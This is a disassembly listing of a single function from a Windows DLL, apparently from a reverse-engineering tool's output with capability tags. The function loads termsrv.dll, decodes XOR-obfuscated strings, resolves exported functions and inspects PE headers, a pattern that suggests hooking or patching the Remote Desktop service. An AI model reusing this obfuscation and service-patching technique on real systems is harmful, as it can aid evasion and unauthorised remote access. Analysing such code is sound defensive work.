Function at 0x180005a80
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x18002f008]
xor rax, rsp
mov qword [rbp + 0x180], rax
xorps xmm0, xmm0
call fcn.18000f4d8
cvttsd2si eax, xmm0
mov word [rsp + 0x70], ax
xor edx, edx
mov r8d, 0x206
lea rcx, [rsp + 0x72]
call fcn.18000b820
mov edx, 0x104
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str.termsrv.dll
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
xorps xmm0, xmm0
call fcn.18000f4d8
cvttsd2si ecx, xmm0
movsxd rdx, ecx
mov ecx, dword [0x180030258]
mov rax, qword gs:[0x58]
mov rbx, qword [rax + rcx*8]
cmp rsi, rdx
jne 0x180005c35
movdqa xmm0, xmmword [0x18002aa80]
movdqa xmm1, xmmword [0x18002a9e0]
movdqa xmm2, xmmword [0x18002a6f0]
mov word [rsp + 0x60], 0x9353
mov ecx, 0x748
mov eax, dword [rcx + rbx]
test al, 1
jne 0x180005bc4
or eax, 1
mov dword [rcx + rbx], eax
mov eax, 0x750
mov edi, eax
lea rcx, [rax + rbx]
mov byte [rcx + 0x32], 1
lea rax, [rcx + 0x31]
lea rdx, [rsp + 0x61]
cmp rcx, rdx
ja 0x180005ba1
lea rdx, [rsp + 0x30]
cmp rax, rdx
jb 0x180005ba1
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
movzx eax, word [rsp + 0x60]
mov word [rcx + 0x30], ax
jmp 0x180005bb5
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
movzx eax, word [rsp + 0x60]
mov word [rcx + 0x30], ax
lea rcx, [0x180021560]
call fcn.1800095b0
nop
jmp 0x180005bc9
mov edi, 0x750
lea r9, [rbx + rdi]
cmp byte [r9 + 0x32], 0
je 0x180005c2d
lea r8, [r9 + 1]
mov r10, r9
not r10
movabs r11, 0xda1d2fb1c3f9359
nop dword [rax + rax]
lea ecx, [r10 + r8]
and cl, 7
shl cl, 3
mov rdx, r11
shr rdx, cl
xor byte [r8 - 1], dl
movzx ecx, r8b
sub cl, r9b
and cl, 7
shl cl, 3
mov rdx, r11
shr rdx, cl
xor byte [r8], dl
add r8, 2
lea rax, [r8 + r10]
cmp rax, 0x32
jb 0x180005bf0
mov byte [r9 + 0x32], 0
mov rcx, r9
jmp 0x180005f15
mov dword [rsp + 0x20], 0x686956e6
mov dword [rsp + 0x24], 0x4f1aeae2
mov dword [rsp + 0x28], 0x1e755ad4
mov ecx, 0x784
mov eax, dword [rcx + rbx]
test al, 1
jne 0x180005c8d
or eax, 1
mov dword [rcx + rbx], eax
mov eax, 0x788
mov edi, eax
mov byte [rax + rbx + 0xc], 1
movsd xmm0, qword [rsp + 0x20]
movsd qword [rax + rbx], xmm0
mov eax, dword [rsp + 0x28]
mov dword [rdi + rbx + 8], eax
lea rcx, [0x180021530]
call fcn.1800095b0
nop
jmp 0x180005c92
mov edi, 0x788
lea rdx, [rbx + rdi]
xor edi, edi
cmp byte [rdx + 0xc], dil
je 0x180005cd1
mov r8d, edi
movabs r9, 0x27f898b1e1b33b5
nop dword [rax + rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rax, r9
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 0xc
jb 0x180005cb0
mov byte [rdx + 0xc], dil
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030ea8], rax
movdqa xmm0, xmmword [0x18002abf0]
mov dword [rsp + 0x40], 0x17cdac1e
mov dword [rsp + 0x44], 0x6a62b37a
mov word [rsp + 0x48], 0xc90e
mov ecx, 0x798
mov eax, dword [rcx + rbx]
test al, 1
jne 0x180005d79
or eax, 1
mov dword [rcx + rbx], eax
mov eax, 0x7a0
mov r14d, eax
lea rcx, [rax + rbx]
mov byte [rcx + 0x1a], 1
lea rax, [rcx + 0x19]
lea rdx, [rsp + 0x49]
cmp rcx, rdx
ja 0x180005d53
lea rdx, [rsp + 0x30]
cmp rax, rdx
jb 0x180005d53
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x40]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rsp + 0x48]
mov word [rcx + 0x18], ax
jmp 0x180005d6a
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x40]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rsp + 0x48]
mov word [rcx + 0x18], ax
lea rcx, [0x180021500]
call fcn.1800095b0
nop
jmp 0x180005d7f
mov r14d, 0x7a0
lea r10, [rbx + r14]
cmp byte [r10 + 0x1a], 0
je 0x180005ddd
lea r9, [r10 + 1]
mov r11, r10
not r11
movabs rbx, 0x603d1157b8ac97d
nop
lea ecx, [r11 + r9]
and cl, 7
shl cl, 3
mov rdx, rbx
shr rdx, cl
xor byte [r9 - 1], dl
movzx ecx, r9b
sub cl, r10b
and cl, 7
shl cl, 3
mov r8, rbx
shr r8, cl
xor byte [r9], r8b
add r9, 2
lea rax, [r9 + r11]
cmp rax, 0x1a
jb 0x180005da0
mov byte [r10 + 0x1a], 0
mov rdx, r10
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180030ea0], rax
call fcn.180005f50
mov r10, rax
cmp byte [rax + 0x4f], 0
je 0x180005e32
mov r8, rdi
movabs r9, 0x820d55bbf53284b
nop dword [rax + rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rax, r9
shr rax, cl
xor byte [r8 + r10], al
inc r8
cmp r8, 0x4f
jb 0x180005e10
mov byte [r10 + 0x4f], 0
mov r9, qword [0x180030ea0]
sub r9, rsi
mov r8, qword [0x180030ea8]
sub r8, rsi
mov rdx, rsi
mov rcx, r10
call fcn.180009160
test rsi, rsi
je 0x180005ed2
movsd xmm0, qword [0x18002a598]
call fcn.18000f4d8
cvttsd2si eax, xmm0
movsxd rcx, eax
movsxd rbx, dword [rsi + 0x3c]
add rbx, rcx
add rbx, rsi
movsd xmm0, qword [0x18002a560]
call fcn.18000f4d8
cvttsd2si eax, xmm0
movsxd rcx, eax
lea rax, [rcx + rcx*4]
mov qword [0x180030ec0], rsi
mov eax, dword [rbx + rax*4 + 4]
mov qword [0x180030eb8], rax
xorps xmm0, xmm0
call fcn.18000f4d8
cvttsd2si eax, xmm0
movsxd rcx, eax
cmp qword [0x180030ec0], rcx
jbe 0x180005ed2
xorps xmm0, xmm0
call fcn.18000f4d8
cvttsd2si eax, xmm0
movsxd rcx, eax
cmp qword [0x180030eb8], rcx
jbe 0x180005ed2
mov al, 1
jmp 0x180005f1c
call fcn.1800060a0
mov r8, rax
cmp byte [rax + 0x3d], 0
je 0x180005f12
movabs r9, 0x5cfce7f1dcedc83
nop word [rax + rax]
movzx ecx, dil
and cl, 7
shl cl, 3
mov rax, r9
shr rax, cl
xor byte [rdi + r8], al
inc rdi
cmp rdi, 0x3d
jb 0x180005ef0
mov byte [r8 + 0x3d], 0
mov rcx, r8
call fcn.180009270
xor al, al
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.180009470
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret